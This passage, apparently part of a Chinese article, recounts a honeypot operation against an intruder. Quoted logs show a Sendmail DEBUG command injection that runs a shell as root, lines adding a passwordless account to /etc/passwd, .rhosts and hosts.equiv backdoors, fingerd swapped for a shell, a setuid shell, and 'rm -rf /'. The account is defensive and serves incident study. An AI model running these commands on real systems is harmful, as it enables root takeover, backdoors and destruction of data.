3、较量
设置好上面的服务以后,由于我们的目标有点暴露,因此被攻击率比较高。但是,当一个远程使用者取走passwd文件时,并不是所有的人都出于恶意的目的。就象我们生活在大千世界一样,每个人的想法不一定相同。从这些日志所记录的事件里面,我们可以发现很多人的不同心理,或善意,或好奇,或者出于成就感。为了给黑客一个提醒,我们设置了一个自动回信,大致内容是:
“如果你到了这个地方,就已经很不错了,如果你希望继续,我们也可以陪你玩玩。如果我们现在正看着你的操作,感觉如何?”。
不过,对于高手来说,这招并不一定能奏效。下面的日志,记录了两个邮件发送器的相互对话,整个心理过程可以从中窥探出来。
以下是引用片段:
00:43:10 smtpd[27466]: <— 220 xxx.xxx.com SMTP
00:43:14 smtpd[27466]: -------> debug
00:43:14 smtpd[27466]: DEBUG attempt
00:43:14 smtpd[27466]: <— 200 OK
00:43:25 smtpd[27466]: -------> mail from:
00:43:25 smtpd[27466]: <— 503 Expecting HELO
00:43:34 smtpd[27466]: -------> helo
00:43:34 smtpd[27466]: HELO from
00:43:34 smtpd[27466]: <— 250 xxx.xxx.com
00:43:42 smtpd[27466]: -------> mail from:
00:43:42 smtpd[27466]: <— 250 OK
00:43:59 smtpd[27466]: -------> rcpt to: 00:43:59 smtpd[27466]: <— 501 Syntax error in recipient name
00:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">
00:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"
00:44:45 smtpd[27466]: <— 250 OK
00:44:48 smtpd[27466]: -------> data
00:44:48 smtpd[27466]: <— 354 Start mail input; end with .
00:45:04 smtpd[27466]: <— 250 OK
00:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
00:45:08 smtpd[27466]: -------> quit
00:45:08 smtpd[27466]: <— 221 xxx.xxx.com Terminating
00:45:08 smtpd[27466]: finished.
这是我们对SMTP过程的日志。在这个例子中,另一端是由人来键入命令。入侵者尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。在DEBUG模式下,Sendmail可以用它来以ROOT身份执行一段命令。即:
以下是引用片段:
sed -e '1,/?$/'d | /bin/sh ; exit 0"
它去掉了邮件头的信息,并使用ROOT身份执行了消息体,这样可以隐藏一些关于他的信息。之后,这个入侵者试探着从我们的服务器上取得一些密码和账户文件,于是我们编造了一份假文件,给他发过去,密文破解后的意思是:“小心玩火自焚!”。
4、寻踪
这样几天没有动静,估计这个入侵者不死心,在考虑该怎么来修改密码文件了。其实,到这一步,我们完全可以把机器的补丁打上,不过,玩就要玩个痛快。不过,我们也在纳闷,这个入侵者不会知难而退了吧,还是有其他的工作在忙呢?静悄悄的,我们等待着。
星期五的晚上,一个难得的周末。机房监控的终端报告有安全事件,我们的入侵检测系统也时不时地报告有些错误发生。核对日志后,我们发现,有人试图使用DEBUG来用ROOT身份执行命令,也就是说,他试图修改我们的密码文件,一切尽在不言中,我不得不佩服这个入侵者的耐心和智慧!查看日志,我们发现,这次入侵同样是来自上次的连接:hust.whnet.edu。我们开始思考:现在到底是“诱敌深入”?还是“引狼入室”?从感觉来看,这个黑客比我们想象中的要厉害,而且他对现在的系统和系统漏洞相当的了解。难道我们要做的就是“拔掉网线”吗?思索中,一切仍然在进行中。
出于真实性考虑,我们在采取一些信息迷惑的同时,也公布了一些让黑客进入的诱饵。其中ftp的passwd是真实的,另外还生成了一个账号,但却使它不可操作。同时,又要让入侵者以为他自己已经改变了passwd文件,但却不急于让他进来。因此还需要给这个入侵者创造一定的条件。于是,我生成了一个临时账号c,当它被调用时就会给我发信,为了保险起见,我把c账号在实际passwd文件中改成了cndes,当我作完后,这个入侵者继续尝试:
以下是引用片段:
00:44 echo “cndes ::301:1::/:/bin/sh” >> /etc/passwd
他尝试了几个命令,但是没有成功,终于他发现了cndes这个账号,于是产生了下面的日志:
以下是引用片段:
00:51 Attempt to login to inet with cndes from hust.whnet.edu
00:51 Attempt to login to inet with cndes from hust.whnet.edu
00:55 echo “cndes ::303:1::/tmp:/bin/sh” >> /etc/passwd
00:57 (Added cndes to the real password file.)
00:58 Attempt to login to inet with cndes from hust.whnet.edu
00:58 Attempt to login to inet with cndes from hust.whnet.edu
01:05 echo “36.92.0.205” >/dev/null
echo “36.92.0.205 hust.whnet.edu”>>/etc./?H?H?H
01:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
01:06 echo “36.92.0.205 hust.whnet.edu” >> /etc/hosts
01:08 echo “hust.whnet.edu cndes”>>/tmp/.rhosts
这时,这个入侵者的活动又转到了ftp上:
以下是引用片段:
Feb 20 01:36:48 inet ftpd[14437]: <— 220 inet FTP server
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
Feb 20 01:36:55 inet ftpd[14437]: -------> user cndes?M
Feb 20 01:36:55 inet ftpd[14437]: <— 331 Password required for cndes.
Feb 20 01:37:06 inet ftpd[14437]: -------> pass?M
Feb 20 01:37:06 inet ftpd[14437]: <— 500 ‘PASS’: command not understood.
Feb 20 01:37:13 inet ftpd[14437]: -------> pass?M
Feb 20 01:37:13 inet ftpd[14437]: <— 500 ‘PASS’: command not understood.
Feb 20 01:37:24 inet ftpd[14437]: -------> HELP?M
Feb 20 01:37:24 inet ftpd[14437]: <— 214- The following commands are
recognized (* =>'s unimplemented).
Feb 20 01:37:24 inet ftpd[14437]: <— 214 Direct comments to [email protected]
Feb 20 01:37:31 inet ftpd[14437]: -------> QUIT?M
Feb 20 01:37:31 inet ftpd[14437]: <— 221 Goodbye.
Feb 20 01:37:31 inet ftpd[14437]: Logout, status 0
Feb 20 01:37:31 inet inetd[116]: exit 14437
Feb 20 01:37:41 inet inetd[116]: finger request from 202.103.0.117 pid 14454
Feb 20 01:37:41 inet inetd[116]: exit 14454
01:38 finger attempt on cndes
01:48 echo “36.92.0.205 hust.whnet.edu” >> /etc/hosts.equiv
01:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
cp /bin/sh /usr/etc/fingerd
看的出,他在这方面是很在行的,幸运的是,他只是破坏了我们模拟机器上的finger而已,并没有将之替换成一个shell程序。我关闭了实际fingerd程序。黑客的活动仍然在继续,摘录的相关日志如下:
以下是引用片段:
01:57 Attempt to login to inet with cndes from hust.whnet.edu
01:58 cp /bin/csh /usr/etc/fingerd
02:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
按照他的意思,fingerd现在重新开始工作。现在他试图修改password,不过,这永远不会成功,因为passwd的输入是/dev/tty,而不是sendmail所执行的shell script。攻击在继续中:
以下是引用片段:
02:16 Attempt to login to inet with cndes from hust.whnet.edu
02:17 echo “/bin/sh” > /tmp/Shell
chmod 755 /tmp/shell
chmod 755 /tmp/Shell
02:19 chmod 4755 /tmp/shell
02:19 Attempt to login to inet with cndes from hust.whnet.edu
02:19 Attempt to login to inet with cndes from hust.whnet.edu
02:21 Attempt to login to inet with cndes from hust.whnet.edu
02:21 Attempt to login to inet with cndes from hust.whnet.edu
又是一番折腾,连续的战斗,已经让我们疲惫不堪了,不过,这位入侵者也应该很疲惫了。突然,我发现了一个新的日志:
以下是引用片段:
02:55 rm -rf /&
看来他试图删除所有进入的痕迹,估计他很累了。但是,对于这个黑客来说,“没有进行破坏”是说不过去的,根据计算机安全的基本原则,当数据的"完整性、可用性和机密性"中任意三者之一在受到破坏的时候,都应视为安全受到了破坏。在实际情况中,间谍们只是默默地拿走你的数据而绝不做任何的破坏,而且尽最大可能地掩盖自己行动的痕迹。这些黑客希望长时间大量地得到珍贵的数据而不被发觉,这其实是最可怕的一种攻击行为。看来,今天碰到的这个黑客确实很职业,不过,他没有意识到我们给他布置的“局”,徒劳的长时间攻击之后,他选择了退出。我们也很累了,不过,现在最要紧的,就是马上恢复并且马上打上最新的sendmail系统补丁了。
随着计算机安全技术的发展,计算机网络将日益成为工业、农业和国防等方面的重要信息交换手段,渗透到社会生活的各个领域。因此,认清网络的脆弱性和潜在威胁,采取强有力的安全策略,对于保障网络的安全性将变得十分重要。同时,计算机网络技术目前正处于蓬勃发展的阶段,新技术层出不穷,其中也不可避免地存在一些漏洞,因此,进行网络防范要不断追踪新技术的应用情况,同时要把握黑客的心理,做到“知己知彼,百战不殆”,从而逐渐完善自身的防御措施。